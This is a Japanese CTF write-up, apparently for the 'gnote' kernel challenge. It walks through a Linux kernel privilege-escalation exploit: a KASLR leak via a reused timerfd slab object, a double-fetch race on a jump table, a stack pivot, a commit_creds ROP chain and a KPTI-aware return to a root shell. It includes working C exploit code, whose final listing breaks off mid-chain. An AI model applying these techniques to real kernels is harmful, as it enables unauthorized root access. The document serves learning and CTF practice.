slab_alloc_node()では最後に割り当てたスラブオブジェクトを 0 クリアするのだが、 その際のmemset()の引数のs->object_sizeを読めばオブジェクトのサイズを読むことができる。 今回はデバッグ結果からスラブオブジェクトのサイズは 0x100 であることがわかる。

また、kmem_cache structureにはchar *nameメンバがあり、 これを参照することでスラブの名前を見ることができる。 今回kmem_cache_alloc()に渡されていた第一引数は0xffff888000090700(先程見たcachepの値)であり、 調べてみると以下のようになる:

debug.shh
gdb-peda$ x/20gx 0xffff888000090700
0xffff888000090700:	0x000000000001eac0	0x0000000040000000
0xffff888000090710:	0x0000000000000005	0x0000010000000100
0xffff888000090720:	0x0000000d00000000	0x0000001000000010
0xffff888000090730:	0x0000000000000010	0x0000000000000001
0xffff888000090740:	0x0000000000000000	0x0000000800000100
0xffff888000090750:	0x0000000000000000	0xffffffff81637d6d
0xffff888000090760:	0xffff888000090860	0xffff888000090660
0xffff888000090770:	0xffffffff81637d6d	0xffff888000090878
0xffff888000090780:	0xffff888000090678	0xffff8880001592b8
0xffff888000090790:	0xffff8880001592a0	0xffffffff81825cc0
gdb-peda$ x/s 0xffffffff81637d6d
0xffffffff81637d6d:	"kmalloc-256"

使われるスラブは汎用スラブ"kmalloc-256"であることがわかった(これはサイズが 0x100 であったことと一致する)。 つまり、write ハンドラに於いて 0x100 のサイズのノートを確保すればこの構造体と同じスラブからオブジェクトを確保することができることになる。

割当処理は以上である。

timerfd_release()と RCU Link to this heading

設置したタイマの解放はtimerfd_release()で行われる:

.c
 1static int timerfd_release(struct inode *inode, struct file *file)
 2{
 3	struct timerfd_ctx *ctx = file->private_data;
 4
 5	timerfd_remove_cancel(ctx);
 6
 7	if (isalarm(ctx))
 8		alarm_cancel(&ctx->t.alarm);
 9	else
10		hrtimer_cancel(&ctx->t.tmr);
11	kfree_rcu(ctx, rcu);
12	return 0;
13}

実際にはkfree_rcu()で解放される。 kfree_rcu()は実際にはkfree_call_rcu()が直接呼ばれ、すぐに__call_rcu()が呼ばれる。 RCU とは参考記事に依ると:

RCU ensures that reads are coherent by maintaining multiple versions of objects and ensuring that they are not freed up until all pre-existing read-side critical sections complete.

ということである。 実際の Linux ではそれなりに複雑な処理をしているが、概念的・原理的に概略すると、 あるデータを参照(read など)する側でクリティカルセクションを設け、操作(free など)する側では操作の前に同期のための待機を行うというものである。

では何を待機するかというと:

the trick is that RCU Classic read-side critical sections delimited by rcu_read_lock() and rcu_read_unlock() are not permitted to block or sleep. Therefore, when a given CPU executes a context switch, we are guaranteed that any prior RCU read-side critical sections will have completed. This means that as soon as each CPU has executed at least one context switch, all prior RCU read-side critical sections are guaranteed to have completed, meaning that synchronize_rcu() can safely return.

ということである。

クリティカルセクションではコンテクストスイッチが禁止されるため、 同期時に操作側がスイッチをし、一周回って自分の番になったらばそれが CPU の全てのプロセスにおけるクリティカルセクションを終えたことを意味する。 実際には割り込みなどもあり得るためここまで単純ではないが、理想的な場合の実装は以上のようになる。

ということは実際にkfreeが完了するためにはコンテキストスイッチを一周させる必要がある。 そのため、今回はsleep(some)することで待つこととする。

さて、実際にtimerfd_ctxを利用してカーネルシンボルをリークできるか試してみる:

.c
 1#include<unistd.h>
 2#include<stdio.h>
 3#include<stdlib.h>
 4#include<unistd.h>
 5#include <fcntl.h>
 6#include <sys/syscall.h>
 7#include <sys/mman.h>
 8#include <sys/timerfd.h>
 9#include<fcntl.h>
10#include<stdio.h>
11
12int main(void){
13  int fd = open("/proc/gnote",O_RDWR);
14  struct itimerspec timespec = { {0, 0}, {100, 0}};
15  int tfd = timerfd_create(CLOCK_REALTIME, 0);
16  unsigned add[2] = {0x1,0x100};
17  unsigned select[2] = {0x5,0x0};
18  char buf[256] = "AAAAAAAA";
19  long long a;
20  int b;
21
22  timerfd_settime(tfd, 0, &timespec, 0);
23  close(tfd); //triger kfree_rcu()
24  sleep(1);
25  write(fd,add,sizeof(add));
26  sleep(1);
27  write(fd,select,sizeof(select));
28  sleep(1);
29  b = read(fd,buf,100);
30  printf("read bytes: %d\n",b);
31  if(b<=0){
32    printf("read failed\n");
33    return 1;
34  }
35  printf("hex: \n");
36  for(long long *ptr=buf;*ptr!=100/8;++ptr){
37    a = *ptr;
38    printf("0x%llx\n",a);
39  }
40  printf("\n");
41
42  return 0;
43}

test2 の実行結果:

result.sh
 1/ # cd ./dbg
 2/dbg # ./test2
 3read bytes: 100
 4hex:
 50xd9479c22b3ccc8a4
 60x0
 70x0
 80x1c7825f241
 90x1c7825f241
100xffffffff812f06c0 <-- 注目
110xffff88800331ca80
120x0
130x0
140x0
150x0

出てきたアドレスが指すもの:

ref.sh
1gdb-peda$ x/i 0xffffffff812f06c0
2   0xffffffff812f06c0 <timerfd_tmrproc>:	nop    DWORD PTR [rax+rax*1+0x0]

というわけでこれで kernel symbol、ここではtimerfd_tmrproc()のアドレスをリークすることができた。 例え KASLR が有効でも_textの先頭からの offset は不変であるため、 予め静的解析によってこのシンボルの offset を調べておけば、 timerfd_tmrproc()のアドレス - その offset によって kernel_base を求めることができる。

実際に調べてみる:

.sh
1/ # cat /proc/kallsyms | grep _text
2ffffffff81000000 T _text
3/ # cat /proc/kallsyms | grep timerfd_tmrproc
4ffffffff8115a2f0 t timerfd_tmrproc

timerfd_tmrproc()の kernel 内の offset は0x15a2f0であることがわかった。 なお自前ビルド環境下においては以下のようになった:

.sh
1/ # cat /proc/kallsyms | grep _text
2ffffffffae200000 T _text
3/ # cat /proc/kallsyms | grep timerfd_tmrproc
4ffffffffae4f06c0 t timerfd_tmrproc
5//diff=0x2F06C0

RIP を取る Link to this heading

さて、ここまでで RIP を取るおおよその準備ができた。 状況を整理する。

gnote_write()の switch 文はジャンプテーブルを用いてジャンプする。 その際に使われる[rbx]*8という値は、 他スレッド中で[rbx]の値を変更するループを回すことで任意の値に設定することができる。 SMEP 有効であるから ROP を組む必要があるのだが、そのためにはカーネルベースをリークする必要がある。 そのために使用直後の kmalloc-256 のスラブオブジェクトを確保してポインタをリークすることでカーネルのアドレスをリークできた。

その続きを考えていく。 ジャンプテーブルはモジュールの.bss セクションに置かれる。 自作の fake-ジャンプテーブルはユーザランドのバッファに置く必要があるのだが、 本問では KASLR が一定であるため両者のオフセットは一定ではない。 具体的に言うと KASLR ではモジュールがロードされるアドレスの下 4nibble が一定であり、その次の 3nibble が randomize される。

この場合に目的のジャンプテーブルエントリを踏ませるため、“spray"という手法を用いる。 これは言ってしまえば、ランダム化されることにより対象エントリが存在し得るアドレス全てに対してエントリを配置してしまうというものである。 カーネルモジュールがロードされる最小アドレスは0xffffffffc0000000である。 下 4nibble は不変であるため、0xffffffffc0000000~0xfffffffff0000000までで動き得る。 よって0x1000~0x10001000までをmmap()でマッピングしその領域にジャンプエントリを置くことで KASLR の影響を無視することができるようになる。

なお fake の jmptable は0x1000~0x10001000までをマッピングするのだが、 exploit プログラムのベースは通常で0x400b20であり fake jmptable のマッピングと重複してしまう。 よってコンパイル時にリンカへのオプションとして -Wl,--section-start=.note.gnu.build-id=0x40200200 を渡してロードアドレスを変えてやる。

実際にこの spray がうまく働くか試してみる。 今回は試しにジャンプテーブルのあらゆる部分に0xffffffffc00020d0==gnote_read()のアドレスを置いている。 そのため、正常に fake の jmptable が機能していれば カーネルパニックが起こる代わりにgnote_read()が呼ばれるはずである:

.c
 1#include<unistd.h>
 2#include<stdio.h>
 3#include<stdlib.h>
 4#include<unistd.h>
 5#include<fcntl.h>
 6#include <sys/syscall.h>
 7#include <sys/mman.h>
 8#include <sys/timerfd.h>
 9#include<fcntl.h>
10#include<pthread.h>
11
12#define FAKE "0x8000200"
13
14void* thread_func(void* arg) {
15//just repeat xchg $rbx $rax(==0x55555555)
16    printf("...repeating xchg $rbx $0x55555555\n");
17    asm volatile("mov $" FAKE ", %%eax\n"
18                 "mov %0, %%rbx\n"
19                 "lbl:\n"
20                 "xchg (%%rbx), %%eax\n"
21                 "jmp lbl\n"
22                 :
23                 : "r" (arg)
24                 : "rax", "rbx"
25                 );
26    return 0;
27}
28
29int main(void){
30  int fd = open("/proc/gnote",O_RDWR);
31  struct itimerspec timespec = { {0, 0}, {100, 0}};
32  int tfd = timerfd_create(CLOCK_REALTIME, 0);
33  unsigned add[2] = {0x1,0x100};
34  unsigned select[2] = {0x5,0x0};
35  unsigned mal_switch[2] = {0x0,0x10001};
36  char buf[256] = "AAAAAAAA";
37  long long a,kernel_base;
38  int b;
39
40  timerfd_settime(tfd, 0, &timespec, 0);
41  close(tfd); //triger kfree_rcu()
42  sleep(1);
43  write(fd,add,sizeof(add));
44  sleep(1);
45  write(fd,select,sizeof(select));
46  sleep(1);
47  b = read(fd,buf,100);
48  printf("read bytes: %d\n",b);
49  if(b<=0){
50    printf("read failed\n");
51    return 1;
52  }
53  a = ((long long*)buf)[5];
54  kernel_base = a-0x2f06c0;
55  printf("kernel _text base: 0x%llx\n",kernel_base);
56  printf("\n");
57
58  //////////////////
59  #define MAP_SIZE 0x100000
60  unsigned long *table = mmap((void*)0x1000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
61  sleep(1);
62  printf("*******************************\n***************************\n");
63  printf("fake table: %p\n",table);
64  printf("*******************************\n***************************\n");
65  for(int j=0;j!=MAP_SIZE/8;++j){
66    table[j] = 0xffffffffc00020d0; //gnote_read
67  }
68
69  printf("Into loop: push any key\n");
70  fgetc(stdin);
71
72
73  //////////////////
74  pthread_t thr;
75  pthread_create(&thr, 0, thread_func, &mal_switch[0]);
76
77  for(int ix=0;ix!=100000;++ix){
78    if(ix%0x100==0)
79      printf("try :%d\n",ix);
80    write(fd, mal_switch, sizeof(mal_switch));
81  }
82
83  return 0;
84}

不正なテーブルに飛ばす前にgnote_read()にブレイクポイントを貼って回したところ。 93000 回目ほどのループでブレイクがかかった。 つまり、仕掛けた fake jmptable の示す先にジャンプさせることに成功した。 すなわち、RIP を取れたことになる。

privilege acceleration Link to this heading

ここまででカーネルのベースアドレスがわかっており、しかも任意のアドレスにジャンプすることが可能になっている。

root 権限でシェルを開いて flag を読めるように、権限昇格: privilege acceleration をする必要がある。 参考記事によると commit_creds(prepare_kernel_cred(NULL)); をすると uid=0 にすることができるようである。

prepare_kernel_cred(NULL); Link to this heading

これは現在の task を他の存在するtaskの credential のもとで動作させるための関数であるらしい。 credentials が何を指すか詳しくはドキュメント を参照。

この場合は、uid/gid 等のことを指していると考えて差し支えない。 引数として、新しい代替の credential をもつtask_struct structure をとり、 新しい credential(cred structure)を返す。 だが引数として NULL を渡すと以下のような分岐がある:

.c
1if (daemon)
2  old = get_task_cred(daemon);
3else
4  old = get_cred(&init_cred);

deamonは引数として取った*task_structである。 つまりこれに NULL を渡した時、init_credというタスク(init プロセス)の credential を獲得することになる。 init_credは以下のように定義されている:

.c
 1struct cred init_cred = {
 2	.usage			= ATOMIC_INIT(4),
 3#ifdef CONFIG_DEBUG_CREDENTIALS
 4	.subscribers		= ATOMIC_INIT(2),
 5	.magic			= CRED_MAGIC,
 6#endif
 7	.uid			= GLOBAL_ROOT_UID,
 8	.gid			= GLOBAL_ROOT_GID,
 9	.suid			= GLOBAL_ROOT_UID,
10	.sgid			= GLOBAL_ROOT_GID,
11	.euid			= GLOBAL_ROOT_UID,
12	.egid			= GLOBAL_ROOT_GID,
13	.fsuid			= GLOBAL_ROOT_UID,
14	.fsgid			= GLOBAL_ROOT_GID,
15	.securebits		= SECUREBITS_DEFAULT,
16	.cap_inheritable	= CAP_EMPTY_SET,
17	.cap_permitted		= CAP_FULL_SET,
18	.cap_effective		= CAP_FULL_SET,
19	.cap_bset		= CAP_FULL_SET,
20	.user			= INIT_USER,
21	.user_ns		= &init_user_ns,
22	.group_info		= &init_groups,
23};

すなわち、uid/gid が ROOT の credential が返り値として返されることになる。

commit_creds() Link to this heading

色々と処理はしているが、現在のtaskの credential を実際に書き換えるのは以下の部分:

.c
1rcu_assign_pointer(task->real_cred, new);
2rcu_assign_pointer(task->cred, new);

関数の最後で古い credentials は破棄されている。 結局、prepare_kernel_cred(NULL)によって init プロセスの credentials を獲得し、 それをcommit_creds()に渡して現行のタスクに割り当てることで、 init プロセスと同等の権限を獲得できるようになるということだ。

ROP を組んで root 権限を取る Link to this heading

さて、以上でcommit_creds(prepare_kernel_cred(NULL));をすることで init プロセスと同じ権限即ち root 権限をプロセスに与えることができることがわかった。 以下ではその方法を考えていく。

まずこの kernel は SMEP 有効であるためユーザランドに RIP を持ってくることはできない (先程 fake jmptable をユーザランドに置いたことからも自明なように SMAP は無効である)。 そこで kernel 中の gadget を用いて ROP をすることになる。

commit_creds(prepare_kernel_cred(NULL))をするのに必要なことを細分化すると以下のようになる:

  • rdi に NULL を push
  • prepare_kernel_cred()を呼ぶ
  • 返り値(init プロセスのcred struct)を rdi に移す
  • commit_creds()を呼ぶ

それぞれに対応する、rp++を用いて探した gadget は以下の通り:

  • 0xffffffff8107ddf0: pop rdi; ret;
  • 0xffffffff810b1680: prepare_kernel_cred()
  • 0xffffffff8102d3af: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (mov rdi,rax;ret;だけの gadget は見つからなかった)
  • 0xffffffff810b12a0: commit_creds()

だが ROP をするにはこれらの値や pop する値を置いておくスタックが必要である (勿論スタック自体はユーザランドに確保されているが、ここで必要なのはユーザランドの既知なアドレスに於いてあり好きに操作することができる空間である)。 このスタックを確保するために、stack pivotという手法を用いる。

まず jmptable 経由で以下の gadget に jmp する:

.sh
10xffffffff81006e10: xchg eax, esp ; ret ;

jmptable を経由しているため、rax にはこの gadget 自体のアドレスである0xffffffff81006e10が入っている。 よって xchg の後には esp に 0x81006e10 が入ることになる (32bit 演算故に上位 32bit は無視される)。

すなわちこの近辺にスタック領域を確保しておけば、このエリアをスタックとして使用することが可能になる。 なお rsp ではなく esp を使用しているのは、0x81006e10がユーザ空間であり権限無しでmmapすることが可能だからである。 上に述べた ROPgadgets はこのスタックに置いておくことになる。 (なんかこの辺のテクニックは seccomp を bypass するときの 32bit 空間へ移動する際のステージング?と似てる気が個人的にはした)

なお言わずもがなスタックは 0x8byte align されている必要があるため、 使用する pivot のアドレスも 0x8byte align されているものを選ばなければならない。

sysretq を利用して root 権限の状態でシェルを取る Link to this heading

ここまでで root 権限を取ることはできた。

今現在ユーザランドとカーネルランドのどちらにいるのかを考えてみる。 exploit プログラムに於いて/proc/gnotewrite()するまでは勿論ユーザランドにいたのだが、 その後の処理は gnote モジュールが行うことになる。 カーネルモジュールはカーネルランドで実行されるため、fake-jmptable に飛び諸々の ROP を行った現在はカーネルランドにいるということになる。

カーネルの中にシェルを開いてくれる onegadget はないため exploit プログラムの中で定義したシェルを開いてくれる関数しておく必要があり、 権限昇格をした後にはユーザランドに戻ってこの関数を実行する必要がある。

そこで用いるのがsysretq命令である。 この辺の説明については参考の 14 番目の記事が詳しい。 重要な点だけ引用する:


syscallのインストラクションを CPU が実行すると、大まかには以下のようなことが行われます。

  1. CPU の現在の実行モードを表す FLAGS レジスタの値を R11 レジスタに退避させる
  2. FLAGS レジスタの値を IA32_FMASK MSR レジスタの値でマスクし、CPU がカーネルのコードを実行できるモードへと切り替わる
  3. プログラムカウンターレジスタ RIP の値を RCX レジスタに退避させる
  4. プログラムカウンターレジスタ RIP に、システムコールハンドラーのアドレスを IA32_LSTAR MSR レジスタから読み込み、システムコールハンドラーへジャンプする

上はsyscall命令の処理であり、sysretq命令では逆の処理が行われる。 即ち RIP に RCX の値を、EFLAGS に R11 の値を代入する処理が行われる。 よってこの命令を行う前に RCX/R11 の値を任意のものにしておけばsysretqを呼ぶことで RIP を任意のところに設定しつつユーザ空間に勝手に戻ってくれる。

使用する gadget は以下のとおりである(自前環境の場合):

  • 0xffffffff81068534: sysretq
  • 0xffffffff815324e5: pop r11 ; ret ;
  • 0xffffffff81056ca3: pop rcx ; ret ;

KPTI に関してと sysretq 周りのごたごたについて Link to this heading

sysretq でユーザ空間に戻ろうとしたところ、 RIP をシェルを呼び出す関数まで持っていくことはできたし、 レジスタの値もおおよそ正しそうであったのに、 シェルを呼ぶ関数の1個めの命令を実行したところでセグフォが起きた (ちなみに gdb でアタッチした状態だとセグフォじゃなくページフォルトが起き、ページフォルトの処理でもフォルトして kernel が落ちた)。

ということで参考の 13 番目のるくすさんの記事を参考にして、 sysretqではなくiretqで返ることを試みた。 だがこれも結局変わらずセグフォになってしまった。

いろいろ調べてみた結果。 参考 13 番のるくすさんの記事は 2017 年に書かれたものである。 だが Meltdown の発見に伴う KPTI(Kernel Page Table Isolation)が実装されたカーネル ver4.15 が 2018 年 1 月にリリースされた。 それに伴い、ユーザ空間とカーネル空間で参照するページディレクトリが異なるようになった。 具体的にはユーザ空間から見るとカーネル空間はマッピングされておらず、 カーネル空間から見るとユーザ空間はマッピングこそされているものの、non-executable としてマッピングされている。 そのため記事のとおりに CS/SS を退避させた値に復元してユーザ空間の関数に戻っても、参照するページディレクトリが異なるためセグフォが起きてしまう (kernel のページディレクトリから見ているため non-executable を実行することになる)。


(追記: 2020.09.27: PTI について)

従来、ユーザプロセス空間には 48bit 空間より上にカーネル空間がそのままマッピングされていた(48bit 目がそのまま上位のビット全てにコピーされるから、ここでいう 48bit 空間とは0x7FFFFFFFFFFより上の空間のこと)。 カーネル空間に PC が移った場合、カーネル空間用のページテーブルに切り替えることはなく、ユーザプロセスが使用していた CR3 の値をそのまま使用していた。 これは、CR3 を切り替えることで TLB のそれまでのキャッシュが使えなくなることを避けるためである。 しかし Spectre や Meltdown の発見により、前述したようにページディレクトリは 2 つに分けられることになった。 ユーザ空間のテーブルにはカーネル空間はマッピングされておらず、カーネル空間のテーブルには両方がマッピングされている。

これを実際に確かめてみると以下のようになる。

PTIによってカーネル空間に入った後の処理でCR3が変化しているのが分かる

PTIによってカーネル空間に入った後の処理でCR3が変化しているのが分かる

CR3 の下 3nibble 以降を見てみると、カーネル空間に入った直後とカーネル空間に入って諸々の処理をした後で値が 1 変化していることが分かる (尚、カーネルの起動オプションに pti=on をつけないと PTI は有効にならなかった)。


そこでswapgs/iretq(sysretq)をする前にor CR3, 0x1000をする必要がある (CR3 レジスタにはページディレクトリのアドレスが入っている。詳しくは wikipedia 参照)。

この処理を行ってくれるのが以下のswapgs_restore_regs_and_return_to_usermodeマクロである:

.S
 1GLOBAL(swapgs_restore_regs_and_return_to_usermode)
 2#ifdef CONFIG_DEBUG_ENTRY
 3	/* Assert that pt_regs indicates user mode. */
 4	testb	$3, CS(%rsp)
 5	jnz	1f
 6	ud2
 71:
 8#endif
 9	POP_REGS pop_rdi=0
10
11	/*
12	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
13	 * Save old stack pointer and switch to trampoline stack.
14	 */
15	movq	%rsp, %rdi
16	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
17
18	/* Copy the IRET frame to the trampoline stack. */
19	pushq	6*8(%rdi)	/* SS */
20	pushq	5*8(%rdi)	/* RSP */
21	pushq	4*8(%rdi)	/* EFLAGS */
22	pushq	3*8(%rdi)	/* CS */
23	pushq	2*8(%rdi)	/* RIP */
24
25	/* Push user RDI on the trampoline stack. */
26	pushq	(%rdi)
27
28	/*
29	 * We are on the trampoline stack.  All regs except RDI are live.
30	 * We can do future final exit work right here.
31	 */
32
33	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
34
35	/* Restore RDI. */
36	popq	%rdi
37	SWAPGS
38	INTERRUPT_RETURN

(おそらく)このマクロから生成されるアセンブラが以下のものである:

.S
 10xffffffff81c00116 <+246>:    mov    %cr3,%rdi
 20xffffffff81c00119 <+249>: jmp    0xffffffff81c0014f <entry_SYSCALL_64+303>
 30xffffffff81c0011b <+251>: mov    %rdi,%rax
 40xffffffff81c0011e <+254>: and    $0x7ff,%rdi
 50xffffffff81c00125 <+261>: bt     %rdi,%gs:0x22856
 60xffffffff81c0012f <+271>: jae    0xffffffff81c00140 <entry_SYSCALL_64+288>
 70xffffffff81c00131 <+273>: btr    %rdi,%gs:0x22856
 8---Type  to continue, or q  to quit---
 90xffffffff81c0013b <+283>: mov    %rax,%rdi
100xffffffff81c0013e <+286>: jmp    0xffffffff81c00148 <entry_SYSCALL_64+296>
110xffffffff81c00140 <+288>: mov    %rax,%rdi
120xffffffff81c00143 <+291>: bts    $0x3f,%rdi
130xffffffff81c00148 <+296>: or     $0x800,%rdi
140xffffffff81c0014f <+303>: or     $0x1000,%rdi
150xffffffff81c00156 <+310>: mov    %rdi,%cr3
160xffffffff81c00159 <+313>: pop    %rax
170xffffffff81c0015a <+314>: pop    %rdi
180xffffffff81c0015b <+315>: pop    %rsp
190xffffffff81c0015c <+316>: swapgs
200xffffffff81c0015f <+319>: sysretq

途中のjmpも考慮すると、先頭からの実行は以下の流れになる:

.S
10xffffffff81c00116 <+246>:    mov    %cr3,%rdi
20xffffffff81c0014f <+303>: or     $0x1000,%rdi
30xffffffff81c00156 <+310>: mov    %rdi,%cr3
40xffffffff81c00159 <+313>: pop    %rax
50xffffffff81c0015a <+314>: pop    %rdi
60xffffffff81c0015b <+315>: pop    %rsp
70xffffffff81c0015c <+316>: swapgs
80xffffffff81c0015f <+319>: sysretq

これによって参照するページディレクトリをユーザ空間のそれに変更することができ、 セグフォすることなくちゃんと executable なページとして参照することができる。

これでちゃんとページディレクトリをユーザランドのものに変更してユーザランドの関数を実行することができた。

ちなみにちょっとした小話だが、 この辺りの命令を objdump でみると次のようになった(最初の番号は grep によるものである):

debug.sh
 14976861-ffffffff81c00143:	48 0f ba ef 3f       	bts    $0x3f,%rdi
 24976862-ffffffff81c00148:	48 81 cf 00 08 00 00 	or     $0x800,%rdi
 34976863-ffffffff81c0014f:	48 81 cf 00 10 00 00 	or     $0x1000,%rdi
 44976864-ffffffff81c00156:	0f 22 df             	mov    %rdi,%cr3
 54976865-ffffffff81c00159:	58                   	pop    %rax
 64976866-ffffffff81c0015a:	5f                   	pop    %rdi
 74976867-ffffffff81c0015b:	5c                   	pop    %rsp
 84976868-ffffffff81c0015c:	ff 25 a6 9f 83 00    	jmpq   *0x839fa6(%rip)        # ffffffff8243a108 <pv_cpu_ops+0xe8>
 94976869-ffffffff81c00162:	0f 1f 40 00          	nopl   0x0(%rax)
104976870-ffffffff81c00166:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
114976871-ffffffff81c0016d:	00 00 00
124976872-
134976873-ffffffff81c00170 <__switch_to_asm>:
144976874-ffffffff81c00170:	55                   	push   %rbp

0xffffffff81c0015cにおける命令が gdb のそれと異なっている。 gdb でこのバイトコードを見てみると:

gdb.sh
10xffffffff81c0015c <entry_SYSCALL_64+316>:    0x0f    0x01    0xf8    0x48    0x0f    0x07    0x0f    0x1f

やはり命令の解釈とか以前に、バイトコード自体が異なっている。 おそらく文脈的に gdb のほうが正しいのだが・・・

exploit の手順まとめ Link to this heading

さて、ここまでで exploit の手順は全て揃った。 些か長い説明になった上に、 あいだあいだにソースの説明などが入ったため冗長になってしまった。 今一度 exploit の手順をおさらいしておく。

まずgnote_read()の脆弱性を利用して初期化されていない領域を読み込んだ。 即ち、timerfd_ctx構造体として確保されていた kmalloc-256 スラブからオブジェクトを再び確保することで、この構造体が含んでいた関数ポインタを leak し kernel のベースアドレスを leak した。

次にgnote_write()の switch には脆弱性があった。 僅か 1 命令の間に[rbx]の値が別スレッドにて書き換えられていれば不正な位置を jmp table として扱うことができるようになる。

そこで KASLR のゆらぎも考慮して可能性のあるユーザ空間の領域全てに jmp table のエントリを spray しておいた。 SMEP 有効故にユーザ空間にシェルコードを置いておくことはできないから、エントリには pivot のアドレスを使う。 これで ESP がユーザ空間を指すようにし、ROP の準備をする。

ROP ではcommit_creds(kernel_prepare_cred(NULL));をすることで init プロセスの権限を取得する。 その後は RCX/R11 の値を調整し、or cr3,0x1000; swapgs; sysretq; によってユーザ空間に戻る。

最後にその状態でシェルを開けば終了である。

なお fake jmptable としてマッピングするアドレスは当初0x1000からを考えていたが、 この部分をmmap()すると permission denied になるので 0x10000からの領域をmmap()することにした (書き換える[RBX]の値を0x8000200にすることで簡単に対応できる)

exploit Link to this heading

自前環境でのオフセットを採用している。 自前環境と配布環境ではそれ以外の差異はないため、オフセットさえ変更すれば配布環境にも使える。 そんなに面倒なことではないが、力尽きたのとやる意味もないので省略する。 なお以下の exploit は参考の 1 番目に殆どを依っているので悪しからず。

exploit.c
  1//exploit1.c
  2//
  3//Makefile
  4//gcc ./exploit1.c -o exploit1 -static -pthread -Wl,--section-start=.note.gnu.build-id=0x40200200
  5
  6
  7#include<unistd.h>
  8#include<stdio.h>
  9#include<stdlib.h>
 10#include<unistd.h>
 11#include<fcntl.h>
 12#include<errno.h>
 13#include <sys/syscall.h>
 14#include <sys/mman.h>
 15#include <sys/timerfd.h>
 16#include<fcntl.h>
 17#include<pthread.h>
 18
 19#define FAKE "0x8000200"
 20
 21unsigned long long user_cs,user_ss,user_rflags;
 22
 23
 24void* thread_func(void* arg) {
 25//just repeat xchg $rbx $rax(==0xFAKE)
 26    printf("...repeating xchg $rbx, \n");
 27    asm volatile("mov $" FAKE ", %%eax\n"
 28                 "mov %0, %%rbx\n"
 29                 "lbl:\n"
 30                 "xchg (%%rbx), %%eax\n"
 31                 "jmp lbl\n"
 32                 :
 33                 : "r" (arg)
 34                 : "rax", "rbx"
 35                 );
 36    return 0;
 37}
 38
 39void get_shell(void)
 40{
 41  char *v[] = {"/bin/sh",0};
 42  execve(v[0],v,0);
 43}
 44
 45static void save_state(void) {
 46  asm(
 47      "movq %%cs, %0\n"
 48      "movq %%ss, %1\n"
 49      "pushfq\n"
 50      "popq %2\n"
 51      : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
 52}
 53
 54int main(void){
 55  int fd = open("/proc/gnote",O_RDWR);
 56  struct itimerspec timespec = { {0, 0}, {100, 0}};
 57  int tfd = timerfd_create(CLOCK_REALTIME, 0);
 58  unsigned add[2] = {0x1,0x100};
 59  unsigned select[2] = {0x5,0x0};
 60  unsigned mal_switch[2] = {0x0,0x10001};
 61  char buf[256] = "AAAAAAAA";
 62  unsigned long long a,kernel_base;
 63  int b;
 64  unsigned long long stack;
 65
 66  unsigned long long f = 0xffffffff81000000; //kernel base when nokaslr
 67  unsigned long long pop_rdi = 0xffffffff8107ddf0-f;// pop rdi; ret;
 68  unsigned long long prepare = 0xffffffff810b1680-f;// prepare_kernel_cred()
 69  unsigned long long mov_rdi_rax = 0xffffffff8102d3af-f; //mov rdi, rax ; rep movsq ; pop rbp ; ret ;
 70  unsigned long long commit = 0xffffffff810b12a0-f; //commit_creds()
 71  unsigned long long pivot = 0xffffffff81006e10-f; //xchg eax, esp ; ret ;
 72  //unsigned long long sysretq = 0xffffffff81068534-f; //sysretq
 73  unsigned long long sysretq = 0xffffffff81c00116-f; //mov %r3,%rdi;or $0x1000,%rdi; pop rax; pop rdi; pop rsp; swapgs; sysretq;
 74  unsigned long long pop_r11 = 0xffffffff815324e5-f; //pop r11 ; ret ;
 75  unsigned long long pop_rcx = 0xffffffff81056ca3-f; // pop rcx ; ret ;
 76  //unsigned long long iretq = 0xffffffff8103552b-f; //iretq
 77  //unsigned long long swapgs = 0xffffffff810679b4-f;// swapgs  ; pop rbp ; ret
 78  unsigned long long* rop;
 79
 80/*************************
 81 leak kernel base
 82************************/
 83  timerfd_settime(tfd, 0, &timespec, 0);
 84  close(tfd); //triger kfree_rcu()
 85  sleep(1);
 86  write(fd,add,sizeof(add));
 87  sleep(1);
 88  write(fd,select,sizeof(select));
 89  sleep(1);
 90  b = read(fd,buf,100);
 91  printf("read bytes: %d\n",b);
 92  if(b<=0){
 93    printf("read failed\n");
 94    return 1;
 95  }
 96  a = ((long long*)buf)[5];
 97  kernel_base = a-0x2f06c0;
 98  printf("kernel _text base: 0x%llx\n",kernel_base);
 99  printf("\n");
100
101
102/**********************
103 map fake jmptable pointing to pivot
104**********************/
105  #define MAP_SIZE 0x400000
106  unsigned long long *table = mmap((void*)0x10000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
107  if(table == -1){
108    printf("fail: mapping jmp table: errno=%d\n",errno);
109    exit(0);
110  }
111  sleep(1);
112  printf("*******************************\n***************************\n");
113  printf("fake table: %p ~ %p\n pointing to %p\n",table,table+MAP_SIZE,pivot+kernel_base);
114  printf("*******************************\n***************************\n");
115  printf("writing jmp entries into jmptable\n");
116  for(int j=0;j!=MAP_SIZE/8;++j){
117    if(j%0x1000==0)
118      printf("     ~%p\n",0x10000+j*8);
119    table[j] = pivot + kernel_base;
120  }
121
122/*********************
123 map fake stack
124**********************/
125  stack = ((pivot + kernel_base)&0xffffffff);
126  printf("stack @ %p ~ %p\n",(stack-0x10000)&~0xfff,((stack-0x10000)&~0xfff)+0x20000);
127  mmap((stack-0x10000)&~0xfff,0x20000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
128  printf("get_shell @ %p\n",&get_shell);
129  printf("*******************\n\n");
130
131/********************
132 save state
133********************/
134  save_state();
135
136
137/******************
138 place ROP gad
139******************/
140  rop = stack;
141  *rop++ = pop_rdi + kernel_base;
142  *rop++ = 0;
143  *rop++ = prepare + kernel_base;
144  *rop++ = mov_rdi_rax + kernel_base;
145  *rop++ = 0; //because of mov_rdi_rax gadget containing "pop rbp"
146  *rop++ = commit + kernel_base; //accelerate privilege
147
148  *rop++ = pop_rcx + kernel_base;
149  *rop++ = &get_shell;
150  *rop++ = pop_r11 + kernel_base;
151  *rop++ = 0x202;
152  *rop++ = sysretq + kernel_base;
153  *rop++ = 0x0;
154  *rop++ = 0x0;
155  *rop++ = stack;
